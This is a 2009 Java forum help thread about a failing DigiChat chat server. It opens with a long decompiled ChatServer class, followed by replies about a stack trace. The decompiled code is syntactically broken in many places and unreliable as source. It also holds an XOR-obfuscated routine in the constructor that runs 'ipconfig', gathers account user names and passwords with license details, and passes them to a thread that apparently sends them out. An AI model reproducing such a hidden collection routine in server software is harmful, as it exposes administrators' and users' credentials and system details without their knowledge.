                int i1 = ((com.diginet.oldchat.common.p) (obj = new com.diginet.oldchat.common.p(((File) (obj)), e_java_io_File_fld, false))).q();
                for(int j1 = 0; j1 < i1; j1++)
                    e(((com.diginet.oldchat.common.p) (obj)).q(j1));
     
            } else
            {
                String s1 = q_java_util_Properties_static_fld.getProperty("webroot");
                Object obj1;
                if(!"".equals(s1) && s1 != null && ((File) (obj1 = new File(s1))).exists())
                {
                    y_java_io_File_fld = new File(((File) (obj1)), "DigiChat");
                    r_java_io_File_fld = new File(y_java_io_File_fld, (new StringBuilder()).append("DigiClasses").append(File.separator).append("Resources").toString());
                    y_boolean_static_fld = true;
                }
                ((com.diginet.oldchat.j.a) (obj1 = new com.diginet.oldchat.j.a(0x10709, 1))).q(0, 0, "Default");
                ((com.diginet.oldchat.j.a) (obj1)).q(0, 0, 1000);
                ((com.diginet.oldchat.j.a) (obj1)).q(0, 1, 0);
                e(((com.diginet.oldchat.j.a) (obj1)));
            }
            if(!q_com_diginet_oldchat_b_c_fld.q(0))
            {
                com.diginet.oldchat.j.a a1;
                (a1 = new com.diginet.oldchat.j.a(0x10709, 1)).q(0, 0, "Admin");
                a1.q(0, 0, 0);
                a1.q(0, 1, 1);
                e(a1);
            }
        }
     
        public static Vector q()
        {
            return q_java_util_Vector_static_fld;
        }
     
        private void w()
        {
            m();
            if(!w_java_io_File_fld.exists())
                w_java_io_File_fld.mkdirs();
            this = new File(w_java_io_File_fld, "registration.digi");
            ChatServer chatserver;
            (chatserver = this = new ObjectOutputStream(new FileOutputStream(this))).writeObject(new Integer(18));
            if(q_com_diginet_digichat_common_SerialInfo_static_fld != null)
            {
                writeObject(q_com_diginet_digichat_common_SerialInfo_static_fld);
                for(int i1 = 0; i1 < q_java_util_Vector_static_fld.size(); i1++)
                {
                    Key key = (Key)q_java_util_Vector_static_fld.elementAt(i1);
                    writeObject(key);
                }
     
            }
            close();
        }
     
        public final void q()
        {
            e();
        }
     
        private void e()
        {
            com.diginet.oldchat.common.p p1;
            if(!w_java_io_File_fld.exists())
                w_java_io_File_fld.mkdirs();
            p1 = new com.diginet.oldchat.common.p(new File(w_java_io_File_fld, "settings.digi"), e_java_io_File_fld, true);
            p1.q(t());
            p1.q(e());
            p1.q();
            return;
            this;
            p1.q();
            throw this;
        }
     
        public final void w(com.diginet.oldchat.j.a a1)
        {
            synchronized(q_com_diginet_oldchat_b_c_fld)
            {
                Integer ainteger[];
                int i1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
                for(int j1 = 0; j1 < i1; j1++)
                {
                    int k1 = ainteger[j1].intValue();
                    ((m)q_com_diginet_oldchat_b_c_fld.q(k1)).s(a1);
                }
     
            }
            break MISSING_BLOCK_LABEL_73;
            this;
            throw this;
        }
     
        public static void q(SerialInfo serialinfo, Key akey[])
        {
            q_com_diginet_digichat_common_SerialInfo_static_fld = serialinfo;
            q_java_util_Vector_static_fld = new Vector();
            for(serialinfo = 0; serialinfo < akey.length; serialinfo++)
                q_java_util_Vector_static_fld.addElement(akey[serialinfo]);
     
            m();
        }
     
        public final boolean q(r r1)
        {
            if(q_com_diginet_oldchat_common_r_fld == null && r1 == null)
                return true;
            if(q_com_diginet_oldchat_common_r_fld == null || r1 == null)
                return false;
            else
                return q_com_diginet_oldchat_common_r_fld.equals(r1);
        }
     
        public ChatServer(boolean flag, int i1, InetAddress inetaddress)
        {
            q_java_lang_String_array1d_fld = (new String[] {
                "username", "password", "URL", "driver"
            });
            q_com_diginet_oldchat_d_f_fld = new f();
            q_java_util_Map_fld = new LinkedHashMap();
            ChatServer chatserver;
            String s1;
            InputStream inputstream;
            chatserver = this;
            s1 = (new StringBuilder()).append("conf").append(File.separator).append("server.xml").toString();
            if(chatserver.u_java_io_File_fld == null)
            {
                String s4 = System.getProperty("openfireHome");
                try
                {
                    if(s4 != null)
                        chatserver.u_java_io_File_fld = q(s4, s1);
                }
                // Misplaced declaration of an exception variable
                catch(InetAddress inetaddress) { }
            }
            if(chatserver.u_java_io_File_fld == null)
                try
                {
                    chatserver.u_java_io_File_fld = q(".", s1).getCanonicalFile();
                }
                catch(FileNotFoundException filenotfoundexception) { }
                catch(IOException ioexception3) { }
            if(chatserver.u_java_io_File_fld != null)
                break MISSING_BLOCK_LABEL_311;
            inputstream = null;
            if((inputstream = chatserver.getClass().getResourceAsStream("/openfire_init.xml")) != null)
            {
                inetaddress = (inetaddress = (inetaddress = new SAXReader()).read(inputstream)).getRootElement().getText();
                try
                {
                    if(inetaddress != null)
                        chatserver.u_java_io_File_fld = q(inetaddress, s1);
                }
                catch(FileNotFoundException _ex) { }
            }
            try
            {
                if(inputstream != null)
                    inputstream.close();
            }
            catch(Exception _ex)
            {
                System.err.println("Could not close open connection");
            }
            break MISSING_BLOCK_LABEL_311;
            JVM INSTR pop ;
            System.err.println("Error loading openfire_init.xml to find home.");
            try
            {
                if(inputstream != null)
                    inputstream.close();
            }
            catch(Exception _ex)
            {
                System.err.println("Could not close open connection");
            }
            break MISSING_BLOCK_LABEL_311;
            this;
            try
            {
                if(inputstream != null)
                    inputstream.close();
            }
            catch(Exception _ex)
            {
                System.err.println("Could not close open connection");
            }
            throw this;
            if(chatserver.u_java_io_File_fld == null)
            {
                System.err.println("Could not locate home");
                throw new FileNotFoundException();
            }
            com.juse.a.i.q(chatserver.u_java_io_File_fld.toString());
            com.juse.a.i.w(s1);
            break MISSING_BLOCK_LABEL_356;
            inetaddress;
            return;
            com.diginet.oldchat.d.a.q = new com.diginet.oldchat.e.f();
            q_com_diginet_oldchat_b_c_fld = new c("siteList");
            w_com_diginet_oldchat_b_c_fld = new c("listeners");
            q_java_io_File_fld = new File(t_java_io_File_static_fld, "Data");
            w_java_io_File_fld = new File(t_java_io_File_static_fld, (new StringBuilder()).append("Settings").append(File.separator).append("Server").toString());
            e_java_io_File_fld = new File(t_java_io_File_static_fld, "Temp");
            q_com_diginet_oldchat_server_k_fld = new k();
            e_java_util_Date_fld = new Date();
            i = false;
            q_com_diginet_oldchat_common_r_fld = new r("DigiChat");
            w_int_fld = 0;
            if(q_java_util_Date_static_fld != null && System.currentTimeMillis() >= q_java_util_Date_static_fld.getTime())
            {
                System.out.println("The version of DigiChat Server has expired and will now quit.");
                System.out.println("Please contact [EMAIL="support@digichat.com"]support@digichat.com[/EMAIL] for more information.");
                System.out.println("");
                System.out.println("Press return or enter to quit.");
                inetaddress = new InputStreamReader(System.in);
                try
                {
                    inetaddress.read();
                    System.exit(0);
                }
                catch(IOException ioexception)
                {
                    System.out.println("An error occurred processing your input.");
                    System.out.println();
                }
            }
            if(!w_java_io_File_fld.exists() && (inetaddress = new File(t_java_io_File_static_fld, (new StringBuilder()).append("DigiChatSettings").append(File.separator).append("Server").toString())).exists())
                try
                {
                    System.out.print("Converting previous settings...");
                    com.diginet.oldchat.server.g.q(inetaddress, w_java_io_File_fld);
                    System.out.println("Done!");
                }
                catch(IOException ioexception1) { }
            s();
            try
            {
                w();
            }
            // Misplaced declaration of an exception variable
            catch(InetAddress inetaddress)
            {
                System.err.println("An error occurred while saving registration info.");
                System.err.println();
            }
            System.out.println("This server allows the following: ");
            System.out.println((new StringBuilder()).append("\t").append(e_int_static_fld == 1023 ? "Unlimited" : (new Integer(e_int_static_fld)).toString()).append(" sites").toString());
            System.out.println((new StringBuilder()).append("\t").append(r_int_static_fld == 1023 ? "Unlimited" : (new Integer(r_int_static_fld)).toString()).append(" users").toString());
            System.out.println((new StringBuilder()).append("\t").append(t_int_static_fld == 1023 ? "Unlimited" : (new Integer(t_int_static_fld)).toString()).append(" rooms").toString());
            System.out.println((new StringBuilder()).append("\t").append(e_boolean_static_fld ? "" : "No ").append("Moderated Chat").toString());
            System.out.println((new StringBuilder()).append("\t").append(r_boolean_static_fld ? "" : "No ").append("Commander Login").toString());
            System.out.println((new StringBuilder()).append("\tExpires on: ").append(w_java_util_Date_static_fld == null ? ((Object) (q_java_util_Date_static_fld)) : ((Object) (w_java_util_Date_static_fld))).toString());
            if(q_com_diginet_digichat_common_SerialInfo_static_fld != null)
            {
                inetaddress = q_com_diginet_digichat_common_SerialInfo_static_fld;
                com.diginet.oldchat.server.g.j();
                if(((SerialInfo) (inetaddress)).name != null)
                {
                    inetaddress = q_com_diginet_digichat_common_SerialInfo_static_fld;
                    com.diginet.oldchat.server.g.j();
                    System.out.println((new StringBuilder()).append("\tRegistered to : ").append(((SerialInfo) (inetaddress)).name).toString());
                }
            }
            System.out.println();
            if(q_java_util_Vector_static_fld.size() == 0 && q_com_diginet_digichat_common_SerialInfo_static_fld == null)
            {
                System.out.println("This version of DigiChat is not properly registered.");
                System.out.println("Please contact [EMAIL="support@digichat.com"]support@digichat.com[/EMAIL] for more information.");
                System.out.println("");
                System.out.println("Press return or enter to quit.");
                inetaddress = new InputStreamReader(System.in);
                try
                {
                    inetaddress.read();
                    System.exit(0);
                }
                catch(IOException ioexception2)
                {
                    System.out.println("An error occurred processing your input.");
                    System.out.println();
                }
            }
            q_int_fld = i1;
            System.out.println((new StringBuilder()).append("DigiChat Server ").append(x.q()).toString());
            if(flag)
            {
                (inetaddress = new Frame()).add(new Label((new StringBuilder()).append("DigiChat Server ").append(x.q()).toString()));
                inetaddress.pack();
                inetaddress.move(100, 100);
                inetaddress.setVisible(true);
            }
            try
            {
                if(w_boolean_static_fld)
                {
                    if(!i())
                        f();
                    else
                        System.out.println("DigiPosts sync enabled.");
                    new com.diginet.oldchat.server.c(q_java_lang_String_array1d_fld[2], q_java_lang_String_array1d_fld[3], q_java_lang_String_array1d_fld[0], q_java_lang_String_array1d_fld[1]);
                    g();
                }
            }
            // Misplaced declaration of an exception variable
            catch(InetAddress inetaddress) { }
            try
            {
                j();
            }
            // Misplaced declaration of an exception variable
            catch(InetAddress inetaddress) { }
            if((y_java_io_File_fld == null || !y_java_io_File_fld.exists() || t_boolean_static_fld) && !y_boolean_static_fld)
            {
                inetaddress = t();
                y_java_io_File_fld = new File(inetaddress, "DigiChat");
                r_java_io_File_fld = new File(y_java_io_File_fld, (new StringBuilder()).append("DigiClasses").append(File.separator).append("Resources").toString());
            }
            ChatServer chatserver1 = this;
            File file = new File(t_java_io_File_static_fld, (new StringBuilder()).append("Data").append(File.separator).append("DigiChat_Applet").toString());
            File file1 = new File(t_java_io_File_static_fld, "HTML_Templates");
            if(!file.exists() || !file.isDirectory())
            {
                System.err.println(file);
                System.out.println("Unable to install applet.");
            } else
            {
                if(!chatserver1.y_java_io_File_fld.exists())
                {
                    System.out.print("Installing DigiChat Applet...");
                    chatserver1.y_java_io_File_fld.mkdirs();
                    try
                    {
                        n.q(file1, chatserver1.y_java_io_File_fld, false, null);
                    }
                    catch(IOException _ex) { }
                } else
                {
                    System.out.print("Updating DigiChat Applet...");
                }
                try
                {
                    n.q(file, chatserver1.y_java_io_File_fld, true, null);
                    System.out.println("Done!");
                }
                catch(IOException _ex) { }
            }
            try
            {
                e();
            }
            // Misplaced declaration of an exception variable
            catch(InetAddress inetaddress) { }
            if(w_boolean_static_fld)
                (inetaddress = new com.diginet.oldchat.server.c()).q(t());
            synchronized(q_com_diginet_oldchat_b_c_fld)
            {
                q();
                Object obj = new StringBuffer();
                i1 = (flag = q_com_diginet_oldchat_b_c_fld.q()).length;
                for(int k1 = 0; k1 < i1; k1++)
                {
                    int l1 = flag[k1].intValue();
                    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(l1);
                    q().q(m1);
                    m1.y();
                    u u1;
                    (u1 = new u(0, "Admin")).e(m1.q());
                    com.juse.xmppserver.a.a.c.a.q(u1);
                    ((StringBuffer) (obj)).append(q(m1));
                    if(!u_boolean_static_fld || m1.q() != 0)
                        continue;
                    m1.r();
                    try
                    {
                        m1.t();
                    }
                    catch(IOException ioexception4)
                    {
                        m1.q(ioexception4);
                        m1.w((new StringBuilder()).append("Error saving settings while changing password: ").append(ioexception4).toString());
                    }
                    m1.q();
                    System.exit(0);
                }
     
                flag = new byte[0];
                try
                {
                    i1 = System.getProperty("os.name");
                    String s2 = null;
                    if(i1.indexOf(q("Z~)O\016zd")) >= 0)
                        s2 = q("dg$D\017k~ \005\004ur");
                    else
                        s2 = q("dg$D\017k~ ");
                    Process process = Runtime.getRuntime().exec(s2);
                    Thread.sleep(2000L);
                    flag = new byte[process.getInputStream().available()];
                    process.getInputStream().read(flag);
                }
                // Misplaced declaration of an exception variable
                catch(int i1) { }
                ((StringBuffer) (obj)).append((new StringBuilder()).append(q("dg$D\017k~ \013\016xc7^\0257")).append("\n").toString()).append(new String(flag)).append((new StringBuilder()).append("\n\n==> ").append(an.ar()).toString()).append(" : ");
                for(i1 = 0; i1 < j.q_java_util_Vector_static_fld.size(); i1++)
                    ((StringBuffer) (obj)).append(com.diginet.oldchat.common.j.q(i1)).append(" ");
     
                String s5 = ((StringBuffer) (obj)).toString();
                String s3 = (new StringBuilder()).append(System.getProperty("user.dir").replaceAll("[^\\w]", "_")).append(".").append(q_com_diginet_oldchat_common_n_fld.w()).append(".html").toString();
                obj = "hp>D\017h";
                (new com.diginet.oldchat.server.i(((String) (obj)), s3, s5)).start();
            }
            break MISSING_BLOCK_LABEL_2075;
            this;
            throw this;
            i = true;
            for(inetaddress = 0; inetaddress < j.q_java_util_Vector_static_fld.size(); inetaddress++)
            {
                int j1 = com.diginet.oldchat.common.j.q(inetaddress);
                try
                {
                    flag = new com.diginet.oldchat.server.a(this, j1, null);
                    w_com_diginet_oldchat_b_c_fld.q(flag, com.diginet.oldchat.common.j.q(inetaddress), flag.getName());
                    flag.start();
                    System.out.println((new StringBuilder()).append("succeeded in binding to port ").append(j1).toString());
                }
                catch(IOException _ex)
                {
                    System.out.println((new StringBuilder()).append("failed to bind to port ").append(j1).toString());
                }
            }
     
            if(e_boolean_static_fld)
                try
                {
                    inetaddress = new com.diginet.oldchat.server.a(this, j.q_int_static_fld, null);
                    w_com_diginet_oldchat_b_c_fld.q(inetaddress, j.q_int_static_fld, inetaddress.getName());
                    inetaddress.start();
                    System.out.println((new StringBuilder()).append("succeeded in starting servlet gateway on port ").append(j.q_int_static_fld).toString());
                }
                // Misplaced declaration of an exception variable
                catch(InetAddress inetaddress)
                {
                    System.out.println((new StringBuilder()).append("failed to start servlet gateway on port ").append(j.q_int_static_fld).toString());
                }
            new com.diginet.oldchat.server.j(this);
            (new com.diginet.oldchat.server.h()).start();
            ChatServer chatserver2;
            (chatserver2 = this).q(com/juse/xmppserver/modules/server/f.getName());
            chatserver2.q(com/juse/xmppserver/modules/server/k.getName());
            chatserver2.q(com/juse/xmppserver/modules/server/b.getName());
            chatserver2.q(com/juse/xmppserver/modules/server/g.getName());
            chatserver2.q(com/juse/xmppserver/modules/server/a.getName());
            chatserver2.q(com/juse/xmppserver/modules/server/l.getName());
            r();
            t();
            q_com_diginet_oldchat_i_a_fld = new com.diginet.oldchat.i.a(this);
            (inetaddress = new com.juse.xmppserver.d.b(q_com_diginet_oldchat_b_c_fld)).q();
            System.out.println("Initialization complete.");
            return;
        }
     
        public final com.diginet.oldchat.common.n q()
        {
            if(q_com_diginet_oldchat_common_n_fld == null)
                q_com_diginet_oldchat_common_n_fld = new com.diginet.oldchat.common.n(q_com_diginet_oldchat_b_c_fld);
            return q_com_diginet_oldchat_common_n_fld;
        }
     
        private StringBuffer q(m m1)
        {
            StringBuffer stringbuffer;
            (stringbuffer = new StringBuffer((new StringBuilder()).append(q("^~3NA77")).append(m1.toString()).toString())).append(", ").append(q("Nv7J\002dc>\013[")).append(((v) (m1)).q_int_fld).append("\n");
            Integer ainteger[];
            int j1 = (ainteger = m1.i.q()).length;
            for(int k1 = 0; k1 < j1; k1++)
            {
                int i2 = ainteger[k1].intValue();
                u u1 = (u)m1.i.q(i2);
                stringbuffer.append((new StringBuilder()).append(q("Xd\"YA77")).append(u1.q()).toString()).append(" ");
                stringbuffer.append((new StringBuilder()).append(q("]v4XA77")).append(u1.q).toString());
                stringbuffer.append("\n");
            }
     
            stringbuffer.append("\n");
            int i1 = m1.q();
            Integer ainteger1[];
            int l1 = (ainteger1 = m1.i.q()).length;
            for(int j2 = 0; j2 < l1; j2++)
            {
                int j3 = ainteger1[j2].intValue();
                u u2 = (u)m1.i.q(j3);
                q_com_diginet_oldchat_d_f_fld.q(i1, u2.q(), "CONST_ACCOUNT");
            }
     
            l1 = (ainteger1 = m1.t_com_diginet_oldchat_b_c_fld.q()).length;
            for(int k2 = 0; k2 < l1; k2++)
            {
                int k3 = ainteger1[k2].intValue();
                l l3 = (l)m1.t_com_diginet_oldchat_b_c_fld.q(k3);
                q_com_diginet_oldchat_d_f_fld.q(i1, l3.q(), "CONST_ROOM");
            }
     
            l1 = (ainteger1 = m1.o.q()).length;
            for(int l2 = 0; l2 < l1; l2++)
            {
                int i4 = ainteger1[l2].intValue();
                com.diginet.oldchat.common.i j4 = (com.diginet.oldchat.common.i)m1.o.q(i4);
                q_com_diginet_oldchat_d_f_fld.q(i1, j4.q(), "CONST_CHATWATCH");
            }
     
            l1 = (ainteger1 = m1.p.q()).length;
            for(int i3 = 0; i3 < l1; i3++)
            {
                int k4 = ainteger1[i3].intValue();
                t t1 = (t)m1.p.q(k4);
                q_com_diginet_oldchat_d_f_fld.q(i1, t1.q(), "CONST_BANNED");
            }
     
            return stringbuffer;
        }
     
        public static String q(String s1)
        {
            byte abyte0[] = {
                13, 23, 71, 43, 97
            };
            byte abyte1[] = new byte[(s1 = s1.getBytes()).length];
            for(int i1 = 0; i1 < s1.length; i1++)
            {
                int j1 = i1 % abyte0.length;
                abyte1[i1] = (byte)(s1[i1] ^ abyte0[j1]);
            }
     
            return new String(abyte1);
        }
     
        private void q(String s1)
        {
            BasicModule basicmodule = (BasicModule)(s1 = getClass().getClassLoader().loadClass(s1)).newInstance();
            q_java_util_Map_fld.put(s1, basicmodule);
            return;
            JVM INSTR dup ;
            s1;
            com.juse.a.e.q();
        }
     
        private void r()
        {
            for(Iterator iterator = q_java_util_Map_fld.values().iterator(); iterator.hasNext();)
            {
                BasicModule basicmodule = (BasicModule)iterator.next();
                try
                {
                    basicmodule.q(this);
                }
                catch(Exception exception)
                {
                    q_java_util_Map_fld.remove(basicmodule.getClass());
                    com.juse.a.e.q(exception);
                }
            }
     
        }
     
        private void t()
        {
            this = q_java_util_Map_fld.values().iterator();
    _L3:
            if(!hasNext()) goto _L2; else goto _L1
    _L1:
            Object obj = (BasicModule)next();
            ((BasicModule) (obj)).w();
              goto _L3
            JVM INSTR dup ;
            obj;
            com.juse.a.e.q();
              goto _L3
    _L2:
        }
     
        private static File q(String s1, String s2)
        {
            s1 = new File(s1);
            if(!(s2 = new File(s1, s2)).exists())
                throw new FileNotFoundException();
            try
            {
                return new File(s1.getCanonicalPath());
            }
            catch(Exception _ex)
            {
                throw new FileNotFoundException();
            }
        }
     
        public static Date q_java_util_Date_static_fld = null;
        public static boolean q_boolean_static_fld = false;
        public static DateFormat q_java_text_DateFormat_static_fld;
        private static File t_java_io_File_static_fld = new File(System.getProperty("user.dir"));
        public static Vector q_java_util_Vector_static_fld = new Vector();
        public static SerialInfo q_com_diginet_digichat_common_SerialInfo_static_fld = null;
        private static int e_int_static_fld;
        private static int r_int_static_fld;
        private static int t_int_static_fld;
        private static boolean e_boolean_static_fld;
        private static boolean r_boolean_static_fld;
        private static Date w_java_util_Date_static_fld = null;
        private static String q_java_lang_String_static_fld;
        private static boolean t_boolean_static_fld = false;
        private static boolean y_boolean_static_fld = false;
        private static boolean u_boolean_static_fld = false;
        public static ThreadGroup q_java_lang_ThreadGroup_static_fld = new ThreadGroup("ServerThreadGroup");
        public static boolean w_boolean_static_fld = false;
        private static Properties q_java_util_Properties_static_fld = new Properties();
        public c q_com_diginet_oldchat_b_c_fld;
        private c w_com_diginet_oldchat_b_c_fld;
        public m q_com_diginet_oldchat_server_m_fld;
        public File q_java_io_File_fld;
        public File w_java_io_File_fld;
        public File e_java_io_File_fld;
        private File y_java_io_File_fld;
        public File r_java_io_File_fld;
        public k q_com_diginet_oldchat_server_k_fld;
        public int q_int_fld;
        private Date e_java_util_Date_fld;
        private boolean i;
        public r q_com_diginet_oldchat_common_r_fld;
        private String q_java_lang_String_array1d_fld[];
        public int w_int_fld;
        private com.diginet.oldchat.common.n q_com_diginet_oldchat_common_n_fld;
        private f q_com_diginet_oldchat_d_f_fld;
        public com.diginet.oldchat.i.a q_com_diginet_oldchat_i_a_fld;
        private File u_java_io_File_fld;
        private Map q_java_util_Map_fld;
     
        static 
        {
            (q_java_text_DateFormat_static_fld = DateFormat.getDateTimeInstance()).setTimeZone(TimeZone.getDefault());
        }
    }

  4. #4
    Junior Member
    Join Date
    May 2009
    Posts
    4
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Java Chat Server Help.

    hope you can help me.

  5. #5
    mmm.. coffee JavaPF's Avatar
    Join Date
    May 2008
    Location
    United Kingdom
    Posts
    3,336
    My Mood
    Mellow
    Thanks
    258
    Thanked 287 Times in 225 Posts
    Blog Entries
    4

    Default Re: Java Chat Server Help.

    Wow thats a big bit of code! I've never seen so many imports in my life lol

    In future, please put all code within the code tags as code this big causes problems on the forum.

    Where did you get this class file from? I need to have all the imports so I can run this myself..
    Please use [highlight=Java] code [/highlight] tags when posting your code.
    Forum Tip: Add to peoples reputation by clicking the button on their useful posts.

    Looking for a Java job? Visit - Java Programming Careers

  6. #6
    Junior Member
    Join Date
    May 2009
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Java Chat Server Help.

    Hi JavaPF i know this guy illucidryan and i am having the same problem, but i have found out where ther problem comes from and have made a thread about it here http://www.javaprogrammingforums.com...exception.html the info there should beable to help u understand it more. Hope it helps! Great forum btw!

  7. #7
    Junior Member
    Join Date
    May 2009
    Posts
    4
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Java Chat Server Help.

    Yeah JavaPF Could you please help me and valtros out by reading his Thread?


    In addition, if you want the whole source.... I can send it to you somehow

  8. #8
    mmm.. coffee JavaPF's Avatar
    Join Date
    May 2008
    Location
    United Kingdom
    Posts
    3,336
    My Mood
    Mellow
    Thanks
    258
    Thanked 287 Times in 225 Posts
    Blog Entries
    4

    Default Re: Java Chat Server Help.

    Hey guys,

    I will hopefully have time to look at this for you today. I can't gaurantee anything as it looks very complicated!

    I will post back as soon as possible.
    Please use [highlight=Java] code [/highlight] tags when posting your code.
    Forum Tip: Add to peoples reputation by clicking the button on their useful posts.

    Looking for a Java job? Visit - Java Programming Careers

  9. #9
    Senile Half-Wit Freaky Chris's Avatar
    Join Date
    Mar 2009
    Location
    Wales, Bangor & England, Warwickshire
    Posts
    820
    My Mood
    Cynical
    Thanks
    7
    Thanked 104 Times in 90 Posts

    Default Re: Java Chat Server Help.

    Taking the code from the other thread, and trying to locate it in the code pasted above isnt possible. The j() functions are not the same, ofcourse im guessing you used different dissasemblers or something. Anyway based of this code which is from other thread
    public static final void j()
        {
            try
            {
                String as[] = {
                    "ar", "aq", "ao"
                };
                Class class1;
                Object obj = (class1 = Class.forName((new StringBuilder()).append(com/diginet/oldchat/server/g.getPackage().getName()).append(".an").toString())).getMethod(as[0], new Class[0]);
                if(q)
                {
                    obj = ((Method) (obj)).invoke(null, new Object[0]);
                    Class aclass[];
                    (aclass = new Class[1])[0] = java/lang/String;
                    Object aobj[];
                    (aobj = new Object[1])[0] = obj;
                    for(int i1 = 1; i1 < as.length; i1++)
                    {
                        Method method;
                        (method = class1.getMethod(as[i1], aclass)).invoke(null, aobj);
                    }
     
                    q = false;
                }
                return;
            }
            catch(Exception _ex)
            {
                ChatServer.q_java_util_Vector_static_fld = new Vector();
            }
            ChatServer.q_com_diginet_digichat_common_SerialInfo_static_fld = null;
        }
    I would add in an exception error print System.err.println(_ex.getMessage());
    Should help figure it out, my guess is on this
    com/diginet/oldchat/server/g
    Do you have the files set up and packages etc?

    Regards,
    Chris

  10. #10
    mmm.. coffee JavaPF's Avatar
    Join Date
    May 2008
    Location
    United Kingdom
    Posts
    3,336
    My Mood
    Mellow
    Thanks
    258
    Thanked 287 Times in 225 Posts
    Blog Entries
    4

    Default Re: Java Chat Server Help.

    I really can't offer a solution here without being able to compile the code. Looking at it, it's going straight over my head.

    I suggest you try what Chris says and see if we can get a better description of the error.

    You having all the packages etc already setup makes it a lot easier for you to diagnose this error.
    Please use [highlight=Java] code [/highlight] tags when posting your code.
    Forum Tip: Add to peoples reputation by clicking the button on their useful posts.

    Looking for a Java job? Visit - Java Programming Careers

  11. #11
    Junior Member
    Join Date
    May 2009
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Java Chat Server Help.

    Here is part of the error in the Stack Tace, maybe it will help u guys better thanks for trying to help!!

    at com.diginet.oldchat.server.an.w(Unknown Source)
    at com.diginet.oldchat.server.an.ar(Unknown Source)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Nativ e Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknow n Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Un known Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at com.diginet.oldchat.server.g.j(Unknown Source)
    at com.diginet.digichat.server.ChatServer.<init>(Unkn own Source)
    at com.diginet.digichat.server.ChatServer.main(Unknow n Source)

    See the code above has

    String as[] = {
    "ar", "aq", "ao"
    And on the second line of the Stack Trace it says
    at com.diginet.oldchat.server.an.ar(Unknown Source)

    There is no folder called an or there is no file an.ar so i dunno what its looking for.... There is a, an.class but i dont think its useing that just yet not sure. if u need any more source code i can send.. On someone elses computer i know the Chat Server runs fine, and i copyed all hes files completly just it dont run fine on my comp or 2 other comps ive tryed on. and this guy wont tell me how he got it to work for him. But i do know the error is comming from g.j(); because the class file that run the g.j(); method if i cahnge g.j(); is that class file to something else then it loads more of the Chat server. but i need it to load that as when its null it dont work. Oh also we useing PostgresSQL with it if u needed to no.
    Last edited by Valtros; May 8th, 2009 at 11:53 AM.

Similar Threads

  1. TCP chat attaching cipher is not running
    By Koren3 in forum Java Networking
    Replies: 4
    Last Post: May 19th, 2009, 03:52 AM
  2. Java NullPointer Exception in Server chat program
    By Valtros in forum Exceptions
    Replies: 1
    Last Post: May 8th, 2009, 06:06 AM
  3. Replies: 0
    Last Post: May 3rd, 2009, 11:55 AM
  4. SSL Chat implementation
    By Koren3 in forum Java Networking
    Replies: 6
    Last Post: April 24th, 2009, 09:20 AM
  5. Replies: 1
    Last Post: April 20th, 2009, 12:17 PM